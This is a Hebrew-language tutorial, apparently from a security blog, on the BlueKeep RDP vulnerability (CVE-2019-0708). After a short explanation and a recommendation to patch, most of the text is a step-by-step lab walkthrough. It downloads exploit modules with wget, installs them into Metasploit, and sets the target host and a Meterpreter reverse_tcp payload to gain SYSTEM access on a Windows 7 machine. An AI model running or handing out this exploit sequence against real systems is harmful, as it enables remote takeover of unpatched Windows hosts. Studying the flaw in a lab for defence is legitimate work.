הסבר וביצוע Exploit מסוג BlueKeep חולשה CVE-2019-0708

עודכן לתאריך 14/4/2021

Bluekeep הוא חולשה המנצלת פגיעות בפרוטוקול ה RDP פורט 3389, והוא מסוג Remote Code Execution ניתן לנצל את החולשה על Windows 7, Windows Server 2008 & 2003 ו Windows XP.

כיוון שהוא RCE, כבר קיימים Ransomware’s כדוגמת Wannacry אשר משתמשים בחולשה זו על מנת “לעבור” בין מחשבים ברשת ובכך להצפין גם אותם.

מייקרוסופט הוציאה Patch עדכונים לכלל המערכות הפגיעות, אפילו ל Windows XP ו Server 2003 שכבר לא תחת תחזוקה ובמצב End of Life

ניתן למצוא כאן את ה KB והקישורים אליהם, ההמלצה היא לוודא שהארגון שלכם מעודכן וכלל המחשבים עם מערכות ההפעלה הפגיעות למעשה מעודכנות באופן מלא כנגד Bluekeep.

על מנת לבצע את ההתקפה, דרוש

• Kali – גרסה 2019
• Windows 7 x64 SP1 שזה כמובן בילד 7601

כרגע הExploit שיצא באופן חלקי, תומך רק ב Windows 7 / Server 2008 X64 SP1

דוגמה לגירסה שכרגע האקספלויט תומך Windows 7 7601 X64

• יש לכבות את ה Firewall
• יש לאפשר Remote Desktop

תחילה וודאו שMetasploit מעודכן

apt update; apt install metasploit-framework

פתחו בKali את הטרמינל והורידו את הקבצים הבאים:

sudo wget https://shushan.co.il/BlueKeep.rar

כעת נחלץ את הקבצים

unrar e BlueKeep.rar

כעת נעתיק כל קובץ למקומו

sudo cp rdp.rb /usr/share/metasploit-framework/lib/msf/core/exploit

sudo cp cve_2019_0708_bluekeep.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp

sudo cp rdp_scanner.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp

ניצור תיקיה בשם rdp

sudo mkdir /usr/share/metasploit-framework/modules/exploits/windows/rdp

נעתיק אליה את ה Exploit

sudo cp cve_2019_0708_bluekeep_rce.rb /usr/share/metasploit-framework/modules/exploits/windows/rdp

כעת נפתח Metasploit

sudo msfconsole

נגדיר את ה Exploit

use exploit/windows/rdp/cve_2019_0708_bluekeep_rce

ואז נרשום info בכדי לקבל מידע מלא על Exploit

על מנת לבחון אילו אפשרויות אנחנו חייבים נרשום

show options

וכעת נזין את הדרישות

כאן את הכתובת IP של קאלי

set rdp_client_ip 192.168.80.131

בכדי לדעת איזה מערכת הפעלה לבחור, בInfo שהקשנו קודם יש רשימה, זו הרשימה

set target 1

• המכונה אצלי יושבת ב vMware
• אם מקבלים מסכים כחולים, שנו את ה Target

כעת את המטרה ה Windows 7

set rhosts 192.168.80.137

נגדיר Payload כמו Meterpreter

set payload windows/x64/meterpreter/reverse_tcp

ולבסוף,

exploit

נמתין שיסיים

ואז נקבל Meterpreter וניתן להבחין שקיבלנו חזרה הרשאות של משתמש System

כל הכבוד, הצלחתם לנצל את החולשה Bluekeep בעזרת Metasploit